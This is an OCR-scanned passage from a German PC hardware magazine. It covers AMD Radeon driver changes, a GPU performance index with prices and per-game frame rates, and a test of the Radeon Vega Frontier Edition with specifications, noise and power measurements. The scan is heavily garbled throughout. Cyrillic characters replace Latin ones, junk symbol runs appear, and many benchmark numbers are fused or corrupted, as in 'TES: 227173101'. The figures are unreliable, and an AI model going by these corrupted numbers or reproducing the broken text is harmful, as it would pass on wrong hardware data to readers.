stellte, blieb ein kleiner CCC-Rest bestehen - die „zu- 
sátzlichen Radeon-Einstellungen*, in denen sich unter 
anderem Farbtiefe und Pixelformat justieren lassen. 
Deren Funktionsumfang findet sich nun in den Rade- 
on Settings unter „Anzeige“ - wie es sich die meisten 
Teilnehmer der Feature-Umfrage gewünscht haben. 
Aufserdem lassen sich die Farben nun für jeden ange- 
schlossenen Bildschirm getrennt regeln. 


Auch die Ende 2016 eingeführte Aufzeichnungsfunkti- 
on Relive erfuhr eine Überarbeitung. Neben einer ver- 
doppelten maximalen Bitrate wurde auch die Ressour- 
cennutzung optimiert, sodass Relive weniger Speicher 
belegt und Rechenzeit stiehlt. Effizienz wird auch bei 
Chill großgeschrieben: Das intelligente Frame-Limit 
unterstützt dank der neuen Kompatibilität zu Low- 
Level-APIs eine größere Bandbreite an Spielen. 


Die wohl spannendsten Neuerungen sind jedoch 
„Enhanced Sync“ und die Anstrengungen, die Latenz 
zwischen Nutzereingabe und Umsetzung auf dem 
Bildschirm zu reduzieren. Vor allem Letzteres könnte 
der Leistung auf die Sprünge helfen. Da uns AMD bis 
Redaktionsschluss keinen Vorabtreiber bereitstellen 
konnte, müssen die Praxistests bis zur nächsten Aus- 
gabe warten - dann aber auch mit den heiß ersehnten 
Radeon-Modellen der RX-Vega-Reihe. (rv) 
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GPU-Leistungsindex: Top 20 


E Gesamt B FHD E WQHD E UHD 


| Preis-Leistungs-Index (РІМ): Mehr ist besser 


BESSER > | Normierte Leistung 


Titan Xp 


Takt: 1.582 MHz, 11,4 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.300 € (+0) 
PLV: 40,7 % 


Geforce 
GTX 1080 Ti 


Takt: 1.582 MHz, 11 GT/s 

RAM: 11 GiB GDDR5X 

Preis: Ca. 750 € (+80) 
PLV: 67,2 % 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 
ВАМ: 12 GiB GDDR5X 


Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 560 € (+50) 
PLV: 74,7 % 


Geforce 
GTX 1070 


Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 470 € (+60) 
PLV: 72,9 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 540 € (-60) 
PLV: 58,8 % 


Radeon 

R9 Fury X 

Takt: 1.050 MHz, 1 GT/s 

RAM: 4 СІВ HBM gen1 

Preis: Nicht lieferbar 
РІМ: – 


Radeon 

R9 390X 

Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


Geforce 
GTX 980 


Takt: 1.216 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 420 € (+40) 
PLV: 60,7 % 


Radeon 
RX 580/8G 


Takt: 1.340 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 420 € (+70) 
PLV: 60,5 % 


100% 


г ° 
ШЕШИНЕ i ° 
=ww—xwaM,% 


A0S:51/43/40 
ACS: 91/67/38 
Bl: 216/157/90 
C3: 128/83/42 


CW: 95/87/55 
DMD: 123/88/49 
DM: 200/176/89 
TES: 245/224/140 


F1: 112/97/68 


FCP: 108/85/53 
GTA: 72/57/34 


LLL °, 


F1: 112/95/64 
FO4: 156/106/54 
FCP: 105/81/49 
GTA: 72/56/32 


AOS: 48/42/38 
ACS: 90/65/37 
BI: 207/147/84 
C3: 121/78/38 


CW: 95/83/51 
DMD: 119/84/46 
DM: 200/171/87 
TES: 237/214/130 


943% 


МЕС: 117/85/47 
РОД: 164/115/59 OW: 247/168/88 


КОТ: 111/81/56 
ТТР: 119/95/61 


TWW: 66/64/35 
ЕСК: 128/82/39 
W3: 137/97/54 
COP: 54,3 


Geforce 

GTX 1060/6G 

Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 290 € (+20) 
PLV: 85,5 % 


MEC: 115/81/44 TWW: 66/60/32 


OW: 236/159/82 


ROT: 104/74/42 
TTP: 113/90/57 


ECR: 118/75/36 
W3: 132/93/51 
COP: 51,0 


Radeon 
RX 480/8G 


Takt: 1.266 MHz, 7 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


G=— ——suIUIIIGaass.. Y; 
G= 2.2 ° 
Kwaw—sss.; o 


МЕС: 114/81/44 TWW: 66/60/32 


A0S: 47/41/37 
ACS: 89/63/36 
Bl: 204/145/83 
(3: 121/78/39 


CW: 95/83/50 
DMD: 117/83/45 
DM: 200/169/85 FCP: 103/80/48 
TES: 237/213/129 GTA: 71/56/32 


F1:110/94/64 


РО4: 156/106/54 — OW: 229/157/81 


ROT: 102/73/41 
TIP: 112/89/56 


ECR: 119/75/36 
W3: 130/92/50 
COP: 50,6 


Radeon 

R9 390 

Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


LEE 
EN 2: 


г 77.1 


RN 72,5 % 


А05: 44/35/30 
ACS: 77154129 
BI: 170/121/63 
C3: 95/60/30 


CW: 94/78/38 
DMD: 99/68/36 
DM: 194/136/68 
TES: 227173101 


F1: 98/82/53 
F04: 130/85/43 
FCP: 87/66/39 
СТА: 63/47/25 


А05: 39/29/27 Р1: 81/66/42 
АСЅ: 64/44/24 
ВІ: 143/98/50 


C3: 77/48/24 


CW: 93/62/30 
DMD: 79/53/28 РО4: 105/69/35 
DM: 165/106/53 FCP: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


МЕС: 97/68/36 


OW: 176/120/63 


ROT: 84/59/31 


TWW: 65/48/26 
ECR: 94/59/27 
W3: 109/76/40 


Radeon 
RX 480/4G 


Takt: 1.266 MHz, 8 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


OW: 141/95/50 
ROT: 66/45/24 


ЕСА: 76/47/22 
W3: 87/59/31 


TTP: 105/79/47 СОР: 44,9 

Radeon 
T RX 570/4G 

Takt: 1.245 MHz, 7 GT/s 
МЕС: 77/53/28 ТУЛА: 58/39/21 RAM: 4 GiB GDDR5 


Preis: Ca. 280 € (+50) 


=—a %: 
==—ir a 6: % 
Kmm————Co “sil ss % 


ww wuiais 


А05: 31/24/22 CW: 91/58/28 F1: 75/62/40 
АСЅ: 54/39/21 DMD: 73/51/27 F04: 99/66/34 
ВІ: 143/99/51 DM: 151/96/47 СР: 60/47/29 


Д 0j 
TTP: 69/54/34 СОР: 41,1 PIV: 778% 
Radeon 
R9 290 
Takt: 947 MHz, 5 GT/s 
MEC: 69/48/20 TWW: 55/38/20 RAM: 4 GiB GDDR5 


OW: 134/90/47 
ROT: 62/44/24 


ECR: 72/45/21 
W3: 79/54/29 


Preis: Nicht lieferbar 
РМ: – 


C3: 74/47/23 TES: 177/130/77 СТА: 45/34/19 ТТР: 66/52/32 СОР: 37,5 

Гг н 

Е Geforce 
ү GTX 1060/36 
ww Takt: 1.709 MHz, 8 GT/s 
AOS: 34/28/26 CW: 85/59/30 F1: 72/60/41 MEC: 33/24/11 TWW: 46/3117 RAM: 3 GiB GDDR5 


ACS: 49/30/13 
Bl: 150/101/53 


DMD: 73/50/23 
DM: 177/115/57 


F04: 81/56/29 
FCP: 58/47/31 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 240 € (+30) 


. 0j 
C3: 71/47/24 TES: 132/104/66 СТА: 42/31/14 TTP: 68/55/35 СОР: 59,8 PIV: 89,7 % 
RN г: 
————rrFat  / ° Hodeen 
FE 152% RX 470/8G 
wawas Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 F1: 61/51/34 MEC: 50/35/19 TWW: 33/24/13 RAM: 8 GiB GDDR5 


ACS: 39/27/15 
Bl: 124/80/40 


DMD: 62/42/22 
DM: 135/88/44 


F04: 66/45/23 
FCP: 50/40/26 


OW: 99/68/34 
ROT: 44/33/19 


ECR: 46/31/15 
W3: 54/38/21 


Preis: Nicht lieferbar 
РМ: – 


(3: 58/38/19 TES: 121/94/59 СТА: 37/28/15 ТТР: 68/53/31 СОР: 56,1 

г шш 

ИН pha 
ER (5 5 GTX 970 
N o Takt: 1.178 MHz, 7 GT/s 
AOS: 28/22/20 СМ: 77/46/22 F1: 66/53/34 МЕС: 35/27/13 — TWW: 45/30/15 RAM: 3,5+0,5 GiB GDDR5* 


ACS: 48/32/14 
BI: 123/80/39 


DMD: 63/43/21 
DM: 128/81/39 


F04: 83/54/27 
FCP: 50/39/23 


OW: 115/76/39 
ROT: 38/22/13 


ECR: 58/36/17 
W3: 67/45/24 


Preis: Ca. 210 € (-60) 


A 0j 
C3: 60/37/18 TES: 146/106/61 СТА: 40/29/15 TTP: 53/41/25 СОР: 31,6 PL: 100% 
| TIL 
———r— aa Е Radeon 
[IM RX 470/4G 
[S  AALLLLLLZ Takt: 1.205 MHz, 6,6 GT/s 
А05: 29/2322 CW: 66/43/20 F1: 67/55/34 МЕС: 56/37/19 TWW: 37/26/15 RAM: 4 GiB GDDR5 


ACS: 42/28/15 
ВІ: 116/73/35 
C3: 52/33/16 


DMD: 63/42/21 
DM: 154/97/46 
TES: 127/92/53 


F04: 67/43/20 
FCP: 47/37/23 
GTA: 36/26/13 


OW: 105/70/36 
ROT: 45/33/19 
TTP: 49/38/24 


ECR: 47/29/14 
W3: 63/43/23 
COP: 48,7 


Preis: Nicht lieferbar 
РМ: – 


AOS: 29/22/21 
ACS: 47/32/15 
ВІ: 113/72/36 
С3: 56/35/17 


CW: 74/45/21 
DMD: 58/39/20 
DM: 117/74/36 
TES: 146/103/59 


Р1: 60/48/30 

F04: 75/49/25 
FCP: 49/37/21 
GTA: 40/28/15 


MEC: 56/37/15 
OW: 105/69/35 
ROT: 43/31/17 
TTP: 49/38/24 


TWW: 41/27/14 
ECR: 53/33/15 
W3: 61/41/22 
СОР: 32,3 


ВЭД 


Г Г 
P 12 5 % 
Gwasssss.[ 

AOS: 28/22/21  CW:65/41/20 Fl:63/52/33 
ACS: 41/27/14 DMD: 61/41/20 — FO4:65/41/20 
BI: 111/70/34 ОМ: 145/91/44 FCP: 46/36/22 
C3:51/32/15 ТЕ5:118/87/51 GTA: 35/25/13 


MEC: 53/36/19 
OW: 102/69/35 
ROT: 44/31/18 
TTP: 47/37/23 


TWW: 35/24/13 
ECR: 44/28/13 
W3: 60/41/22 
COP: 46,3 


=s; 


N +5, 
ЕІ 
UU 
AOS:27/2201 CW: 74/48/23 — Fl:55/46/30 
ACS: 35/25/14 ` ОМО: 58/40/21 ЕО4: 63/43/22 
BI: 114/73/37 ОМ: 124/80/40 ЕСР: 46/37/23 
C3:54/36/18 TES: 111/85/53 СТА: 34/26/14 


МЕС: 47/3218 
0W: 93/64/33 
ROT: 40/30/17 
TTP: 52/42/26 


TWW: 29/21/12 
ECR: 43/29/14 
W3: 48/33/18 
СОР: 54,8 


ВЛ 


С я 
ни 0.3 % 
mw. 

AOS: 28/21/20 — CW:G2/40/19 — F1:62/51/32 
ACS: 39/24/12 ОМО: 58/39/18 ЕО4: 63/40/19 
BI: 108/68/33 ОМ: 143/90/43 ЕСР: 45/35/21 
СЗ: 49/31/14 TES:117/85/50 СТА: 34/24/12 


МЕС: 30/22/14 
OW: 101/67/34 
ROT: 42/30/17 
TTP: 46/36/23 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


LEE 


sa. 
C 55 % 
СДД 


А05: 26/20/19 CW: 60/37/18 F1: 60/49/30 


МЕС: 29/20/12 TWW: 31/21/7 


ACS: 38/2519 DMD: 56/37/18 РО4:61/39/18 — OW:94/6332 ЕСҜ:42/26/13 
BI: 103/65/31 ОМ: 134/83/40 ЕСР: 42/33/20 ROT: 39/2815 W3: 55/37/20 
C3:47/304 TES: 114/81/48 — GTA;33/23/2 ТТР: 44/34121 COP: 40,5 
LEE 
Ши 

БЕ 

и 34,3 % 

A0S:25/20/19  CW:69/43/22 — Fl:514227 МЕС: 28/20/11 TWW: 27/20/11 


ACS: 33/21/11 
Bl: 106/68/34 
C3: 50/33/16 


DMD: 52/36/17 
DM: 114/74/36 
TES: 103/79/49 


F04: 57/39/20 
РСР: 42/34/22 
СТА: 32/23/8 


0W: 85/57/29 
ROT: 38/28/16 
TTP: 48/38/24 


ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


г Шш 


Ни 57 
wawa 
LU 
AOS: 28/21/14 СМ: 70/43/20 
ACS: 45/2815  DMD:51/32/15 
BI: 108/68/34 ОМ: 105/69/26 
C3: 53/33/16 TES: 134/96/54 


F1: 57/46/28 
F04: 70/45/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 31/20/9 
OW: 96/63/32 
ROT: 21/15/9 

TTP: 46/36/22 


TWW: 37/15/6 
ECR: 50/30/13 
W3: 57/39/20 
СОР: 31,0 


ВЕЕ 


N -2 
I BED 
was 
AOS:25/19/18 СМ:56/35/17 
ACS:3604/12 — DMD:53/35/18 

BI: 98/61/30 DM: 128/80/38 
C3:4528/13 TES: 107/78/45 


F1: 57/47/29 

F04: 58/37/17 
FCP: 41/32/20 
GTA: 31/22/11 


MEC: 47/32/17 
OW: 89/60/31 

ROT: 38/28/16 
TTP: 42/33/20 


TWW: 30/20/10 
ECR: 40/25/12 
W3: 53/36/19 
COP: 39,3 


I ҥш 


sa 
s 
UU 
AOS:24/18/17 СМ: 64/38/18 
ACS: 40/26/11 DMD: 51/34/17 
Bl: 106/67/33. DM: 106/66/32 
C3: 50/31/15 ТЕ5:122/88/50 


F1: 56/45/25 
F04: 68/45/22 
FCP: 43/31/17 
GTA: 34/2417 


* 3.584 MiB (224 Bit) 
+ 512 MiB (32 Bit) 


MEC:31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TTP: 43/34/21 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


LBE 


Ни ° 
Ір 
E 32,7 % 
AOS:25/19/08 —— CW:58135/17 
ACS: 36/249 — DMD:53/35/17 
BI: 98/61/30 ` DM: 128/79/38 
C3: 45/28/13 ТЕ5:107/78/45 


Е1: 57/47/29 

F04: 58/37/17 
РСР: 41/32/20 
GTA: 31/22/11 


МЕС: 28/20/12 
0W: 90/60/31 
ROT: 38/27/15 
ТТР: 42/33/21 


TWW: 30/20/7 
ECR: 40/25/12 
W3: 53/36/19 
СОР: 39,3 


Spiele-/Anwendungsnamen: Ashes o 


System: Core i7-6800K @ 4,4 GHz Ee 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64; anisotroper Texturfilter konsequent auf „Hohe Qualität“ (HQ-AF); Vsync aus 

the Singularity (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankind Divided (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 
Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer (TWW), The Elder Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECR), The Witcher 3 (W3), Capture One Pro (CÓP). Angabe auf die náchste Ganzzahl gerundeter Fps, auBer COP (Megapixel/s). Wichtig: Die Anwendungsleistung flieBt (nur) in den blauen Gesamt-Index ein. 
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EA GRAFIKKARTEN | Radeon Vega Frontier Edition 


AMDs Grenzgänger 


Die Radeon Vega Frontier Edition ist laut AMDs Beschreibung Profimaschine und Spielgefährte zu- 
gleich. Ob der angedachte Spagat gelingt und was Vega für Spieler zu bieten hat, klärt unser XXL-Test. 


Vapor Chamber 

Wie viele leistungsstarke Grafikkarten 
zuvor beherbergt auch die Frontier 
Edition (Air) eine Vapor Chamber. Das 
Funktionsprinzip entspricht dem einer 
Heatpipe, verteilt auf eine wesentlich 
größere Fläche: Im Inneren der 
Kammer befindet sich eine Flüssigkeit, 
welche infolge der Erwärmung durch 
die Hitzequelle(n) verdampft, im obe- 
ren Teil wieder kondensiert, zurückge- 
leitet wird und das Spiel von vorne beginnen lässt. Die mit einem Kupferboden 
bestückte Kammer schafft die Hitze rasch von GPU und HBM fort und leitet sie 
weiter an die Aluminiumlamellen darüber, welche aktiv belüftet werden. 


Radiallüfter 

AMD bestückte seine Referenz- 
designs in der Vergangenheit mit 
eistungsstarken, aber charakteri- 
stisch klingenden, lauten Radiallüf- 
ern. Die Vega FE (Air) bringt Besse- 
rung, hier kommt ein hochwertiges 
odell von Delta mit 75 Millimeter 
Durchmesser zum Einsatz, welches 
es bei maximaler Leistung (2,4 A) 
auf 5.000 U/Min bringt — reichlich 
Druck bei 28,8 Watt. AMD deckelt die Drehzahl auf der Vega FE werkseitig bei 
rund 2.000 U/Min (max. 42 Prozent PWM-Impuls), womit der Lüfter subjektiv 
angenehm rauscht, anstatt zu pfeifen. 


Grafikchip 

AMDs Technologievorreiter Vega 10 läuft in moderner 14-nm-Fertigung vom 
Band, kommt auf eine Fláche von 484 mm? und debütiert auf der Frontier 
Edition als A1-Revision im Vollausbau. Wie sein 596 mm? großer Vorgänger Fiji 
setzt Vega auf High Bandwidth Memory, diesmal in zweiter Generation (HBM 
gen2, kurz HBM2). Dieser ist pro Stapel größer als HBM gen1, erlaubt jedoch 
wesentlich höhere Kapazitäten. Beim Vergleich mit Fiji (Bild links) fällt auf, dass 
AMD bei Vega Maßnahmen ergriffen hat, um den empfindlichen Interposer, 
welcher GPU und HBM trägt, zu schützen: Die Zwischenräume sind aufgefüllt. 
Die Bilder zeigen die GPU-Packages erstmals im korrekten Größenverhältnis. 
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eit Ende Juni ist die erste Gra- 

fikkarte mit dem neuen Vega- 
Prozessor erhältlich. Die Radeon 
Vega Frontier Edition ist ein ganz 
besonderes Exemplar, denn sie be- 
setzt eine weitere Nische in AMDs 
Portfolio: Zwischen Radeon Pro 
WX für Workstation-Nutzer und Ra- 
deon RX für PC-Spieler presst AMD, 
wie schon die Radeon Pro Duo, die 
Vega Frontier Edition. Sie zielt auf 
Menschen ab, die ihren PC sowohl 
für produktive als auch so profane 
Dinge wie Spielen verwenden. Die 
Vega FE soll im „Pro Mode“ Desig- 
nprogramme beschleunigen wie 
eine sündhaft teure Radeon WX, 
ohne jedoch deren zertifizierte Pro- 
fi-Treiber zu erhalten. Wer spielen 
möchte, wechselt in den „Gaming- 
Mode“ der Karte und legt los. 


Die Frontier Edition ist ergo kein 
reinrassiges Spielzeug, Spaß gehört 
jedoch zum beworbenen Funkti- 
onsumfang. Da es sich bei dieser 
Grafikkarte um das erste Modell 
mit dem brandneuen Vega-10-Gra- 
fikchip handelt, testen wir AMDs 
neuesten Streich wie üblich. Auf- 
grund des enormen Interesses an 
Vega handelt es sich sogar um den 
wohl größten Grafikkartentest in 
der PCGH-Geschichte. Dennoch 
- und das ist ein wichtiger Punkt 
- handelt es sich nur um eine Mo- 
mentaufnahme, denn die Frontier 
Edition entspricht nicht 1:1 dem, 
was Spieler erwartet. All das führen 
wir auf den kommenden Seiten aus. 


Zwei Veganer am Start 
Die Frontier Edition ist in zwei- 
facher Ausführung erhältlich: Als 
„Air“-Version mit Radialbelüftung 
und als „Liquid“-Variante mit einer 
All-in-one-Wasserkühlung im Stil 
der Radeon R9 Fury X. Beide set- 
zen auf die gleiche Basis-Hardware, 
die Platine und deren Bauteile sind 
identisch. Für den kleinen, aber fei- 
nen Unterschied sorgt die Physik: 
Dank der Flüssigkühlung und eines 
um 75 Watt geweiteten Powerbud- 
gets kann die Liquid-Edition ihren 
maximalen Boost besser halten als 
die Air-Version. Letztere haben wir 
für diesen Test im Einzelhandel 
gekauft. Eine Bemusterung durch 
AMD fand zum Launch - analog zu 


gas Innovationen zählt, neben den 
größten — Architekturveránderun- 
gen seit dem ersten Graphics Core 
Next (GCN 1.0) von Anfang 2012, 
der Einsatz von High Bandwidth 
Memory der zweiten Generation 
(gen2, im Folgenden der Kürze hal- 
ber HBM2). Damit sind theoretisch 
doppelt so hohe Transferraten und 
sogar achtmal so viel Kapazität wie 
bei HBM1 móglich. 


Der 484 Quadratmillimeter große 
Vega 10, so die offizielle Angabe 
АМР», ist das erste GCN-5-Produkt 
- oder GCN 1.4, je nach Geschmack 
- und gleichzeitig die vorläufige 
High-End-Version. Er beherbergt 
im Vollausbau 4.096 Shader-ALUs 
sowie 64 Raster-Endstufen. Damit 
bietet der Chip genauso viele Re- 
chenwerke wie Fiji (Fury/Nano), 
lässt sich dank der Architekturver- 
änderung und modernen 14-nm- 
Fertigung jedoch wesentlich höher 
takten: Mit einem Maximalboost 
von 1.600 MHz zieht AMD zwar 
nicht ganz mit Nvidias Pascal-Ge- 
neration gleich, überbietet den ei- 
genen High-End-Vorgänger jedoch 
um 52 Prozent. Auch Polaris, wel- 
cher gegenüber älteren GCN-Chips 
einen großen Taktsprung hinlegte 
und in Form einiger Custom-De- 
signs mit mehr als 1.400 MHz arbei- 
tet, wird deutlich geschlagen. 


Beim Speicher macht AMD hinge- 
gen einen Schritt nach vorn und 
einen zurück: Vega 10 kommuni- 
ziert über 2.048 Datenbahnen mit 
zwei HBM-Stapeln, Fiji verwendet 
noch jeweils doppelt so viele. Auch 
hier setzt Vega auf Takt, anstelle ge- 
mächlicher 500 MHz arbeitet der 
RAM auf der Frontier Edition mit 
945 MHz und erreicht damit bei 
geringerer Verdrahtungskomplexi- 
tät beinahe die Transferrate seines 
Vorgängers (-5,5 %). Ursprünglich 
war für HBM2 ein rundes Giga- 
hertz avisiert, was 2 Gigatransfers 
pro Sekunde (GT/s) entspricht, fi- 
nal setzt Vega auf 1,89 GT/s. Über 
die Ursache kann man derzeit nur 
spekulieren, wobei die schwache 
Ausbeute der noch jungen HBM2- 
Produktion als die wahrschein- 
lichste Erklärung herhalten muss - 


ein tieferes Taktziel erlaubt es, auch 


Interessantes rund um Vega 


3»... 16 GiByte HBM gen2, unterteilt in zwei „8-Hi"-Stapel 
mit je 8 GiByte, sorgen dafür, dass die Vega FE nie mit 
Speichermangel zu kämpfen hat. Ein Mysterium ist die 
Herkunft des HBM. GPU-Z nennt Micron als Hersteller; AMD 
arbeitete bei HBM mit SK-Hynix zusammen. Die HBM2-Markie- 


rungen auf einem von AMDs PR-Fotos ähneln denen, die auf Samsung HBM2 


angebracht sind, verdächtig, könnten aber eine Nebelkerze sein. 


3»... Die Radeon-RX-Reihe - die Gamingmodelle — soll gerüchteweise ab 
August in drei Varianten verfügbar sein: als XTX, XT und XL. Zwei Modelle soll 


es mit einer vollen Vega-10-GPU geben (eine mit Luft-, eine mit AiO-Wasser- 


kühler) sowie eine Version mit 3.584 anstelle von 4.096 ALUS, 


3»... Der HBM auf der Vega FE kann vier Power States einnehmen: 167 MHz 


(Leerlauf), 500 
State). Im OC-Betrieb erreichen wir hóchstens 1.100 MHz. 


Hz, 800 MHz (beides Teillast) und 945 MHz (High Power 


3»... Vega unterstützt die mit GCN eingeführte Funktion „Zero Core Power": 


Schaltet sich der Monitor ab, nimmt die Vega FE einen speziellen Stromspar- 
modus mit stehendem Lüfter und minimaler Leistungsaufnahme ein. 


Tessellation: Vega mit Fortschritten 


Sub D11 (mod) aus DX-SDK Juni 2010, 1.920 x 1.057 Vollbild-Fenster, kein AA/AF 
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System: Core i7-6800K @ 4,4 GHz, X99, 4 x 8 GiB Corsair DDR4-3000; Windows 10 x64, GF 382.53, RPS 
17.6-Juni26, RS 17.6.2, HQ-AF Bemerkungen: Pro MHz betrachtet ergibt sich abhángig vom Tessellations- 
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System: Messung im schallarmen Raum mit 0,1 Sone Grundrauschen in 50 Zentimeter Abstand lotrecht zur 


Lüfternabe mit Neutrik Cortex NC10 Bemerkungen: Die Markierungen geben die im Test erreichten Maximal- 


werte im Spielebetrieb wieder. Nur wer die Vega FE (Air) übertaktet, muss sich auf großen Lärm einstellen. 
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Technische Daten: Radeon Vega Frontier Edition im Vergleich 


Grafikkarte Radeon Меда | Radeon Меда Radeon Radeon Titan Xp Titan X Geforce Geforce Geforce Geforce 
Frontier Edition | Frontier Edition | R9 Fury X R9 390X (Pascal) GTX 1080 Ti | GTX 1080 | GTX1070 | GTX 980 Ti 
(Liquid) (Air) 
Codename Vega 10 XTX Vega 10 XTX Fiji XT Grenada (Ha- | GP102-450 GP102-400 GP102-350- GP104- GP104- GM200- 
Al A1 waii) XT -A1 -A1 K1-A1 400-A1 300-A1 310-A1 
DX-12-Feature-Level ЇЙ | 12:3] 12 0 12.0 ЇЙ | 12 12_1 12 3) 12 11 12. | 
ChipgróBe (reiner Die) 484 mm? 484 mm? 596 mm? 438 mm? 471 mm? 471 mm? 471 mm? 314 mm? 314 mm? 601 mm? 
ransistoren Grafikchip (Mio.) Unbekannt Unbekannt 8.900 6.200 12.000 12.000 12.000 7.200 7.200 8.000 
Shader-/SIMD-/Textureinheiten | 4.096/64/256 4.096/64/256 | 4.096/64/256 | 2.816/176/64 | 3.840/30/240 | 3.584/28/224 | 3.584/28/224 | 2.560/20/160 | 1.920/15/120 | 2.816/22/176 
Raster-Endstufen (ROPs) 64 64 64 64 96 96 88 64 64 96 
GPU-Basistakt (Megahertz) Unbekannt Unbekannt Unbekannt Unbekannt 1.480 1.417 1.480 1.607 1.506 1.002 
ypischer GPU-Boost (MHz) 1.600 * 1.382 .050 1.050 1.582 1.531 1.582 EE 1.683 1.075 
Rechenleistung SP/DP (Mio./s) 13.107/819 * 11.321/708 8.602/538 5.913/739 12.150/380 | 10.974/343 11.340/354 8.873/277 6.463/202 6.054/189 
Durchsatz Pixel/Texel (Mrd./s) 102,4/409,6 * 88,4/353,8 67,2/268,8 67,21184,8 | 151,9/379,7 | 137,2/3429 | 141,7/354,1 | 110,9/277,3 | 101,0/202,0 | 94,6/189,2 
Speicheranbindung (Bit) 2.048 2.048 4.096 512 384 384 352 256 256 384 
Geschw. Grafikspeicher (GT/s) 1,89 1,89 1,0 5 114 10,0 11,0 10,0 8,0 7,0 
Speichertyp HBM gen2 HBM gen2 HBM gen! GDDR5 GDDR5X GDDR5X GDDR5X GDDR5X GDDR5 GDDR5 
Speicherübertragung (GB/s) 483,8 483,8 512,0 320,0 547,6 480,0 484,0 320,0 256,0 336,6 
Speichermenge (MiB) 16.384 16.384 4.096 8.192 12.288 12.288 11.264 8.192 8.192 6.144 
PCI-Express-Stromanschlüsse 2 x 8-polig 2 x 8-polig 2 x 8-polig | je 1 х 6-/8-р. | je 1 х 6-/8-р. | je 1 х 6-/8-р. | је 1 х 6-/8-р. | 1x 8-polg | 1x 8-polig | je 1 x 6-/8-p. 
Typische Leistungsaufnahme 375 Watt 300 Watt 275 Watt 250 Watt <250 Watt <250 Watt <250 Watt <180 Watt 150 Watt <250 Watt 


Bemerkungen: Die Frontier Edition Air kann ihren Boost aufgrund des schwachen Kühlers und geringen Powerlimits nicht aufrechterhalten, die Liquid-Version fast immer. *Maximaler Boost 


Radeon Vega FE: Lautheit und Leistungsaufnahme 


Vega Frontier Radeon R9 Titan X Geforce GTX Geforce GTX Geforce GTX Geforce GTX Geforce GTX 

Edition Fury X (Pascal) 1080 Ti 1080 1070 Titan X 980 Ti 

(DHE) (AiO) (DHE) (DHE) (DHE) (DHE) (DHE) (DHE) 
Lautstärke 
Leerlauf (Desktop) 0,0 bis 0,1 Sone 1,3 Sone 0,5 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 0,3 Sone 
2 LCDs (UHD + FHD) 0,1 Sone 1,3 Sone 0,5 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 0,3 Sone 
UHD-Youtube-Video 0,2 Sone 1,3 Sone 0,5 Sone 0,4 Sone 0,4 Sone 0,4 Sone 0,3 Sone 0,3 Sone 
Crysis 3 (Full HD) 3,6 Sone 1,4 Sone 3,9 Sone 2,8 Sone 3,1 Sone 2,7 Sone - - 
Anno 2070 (Ultra HD) 3,6 Sone 1,6 Sone 4,9 Sone 4,0 Sone 3,2 Sone 2,9 Sone 4,3 Sone 4,5 Sone 
Leistungsaufnahme 
Leerlauf (Desktop) 17 Watt 21 Watt 12 Watt 12,5 Watt 9,5 Watt 8,5 Watt 18 Watt 15 Watt 
2 LCDs (UHD + FHD) 22 Watt 25 Watt 14 Watt 15 Watt 11,5 Watt 11,5 Watt 23 Watt 20 Watt 
UHD-Youtube-Video 26 Watt 55 Watt 17 Watt 19 Watt 12 Watt 12 Watt 24 Watt 21 Watt 
Crysis 3 (Full HD) 252 Watt 250 Watt 227 Watt 225 Watt 175 Watt 149 Watt - 230 Watt 
Anno 2070 (Ultra HD) 259 Watt 313 Watt 231 Watt 230 Watt 171 Watt 148 Watt 243 Watt 234 Watt 
Bermerkungen: Jeweils gerundete Werte. Bei allen Karten gelten die Standardeinstellungen bezüglich Powertarget (Nvidia) und Powertune-Limit (AMD). 


GPGPU-Test AIDA64 


Мет Сору | Single-Precision | Double Precision | INT24 INT32 INT64 AES-256 | SHA-1 Hash | SP-Julia | DP Mandel 

(MB/s) (GFLOPS) (GFLOPS) (GIOPS) | (GIOPS) | (GIOPS) | (MB/s) (MB/s) (Fps) (Fps) 
Durchschnitt aus drei Testläufen 
Fire Pro W9100 246.484 5.133 2566,3 5.128 1.708 426,5 21.554 55.138 802,4 3595 
Vega FE ОС @ 1,7/1,100 GHz 352.958 13.905 869,2 13.892 2.781 731,8 74.025 kein Wert 25159) 67,4 
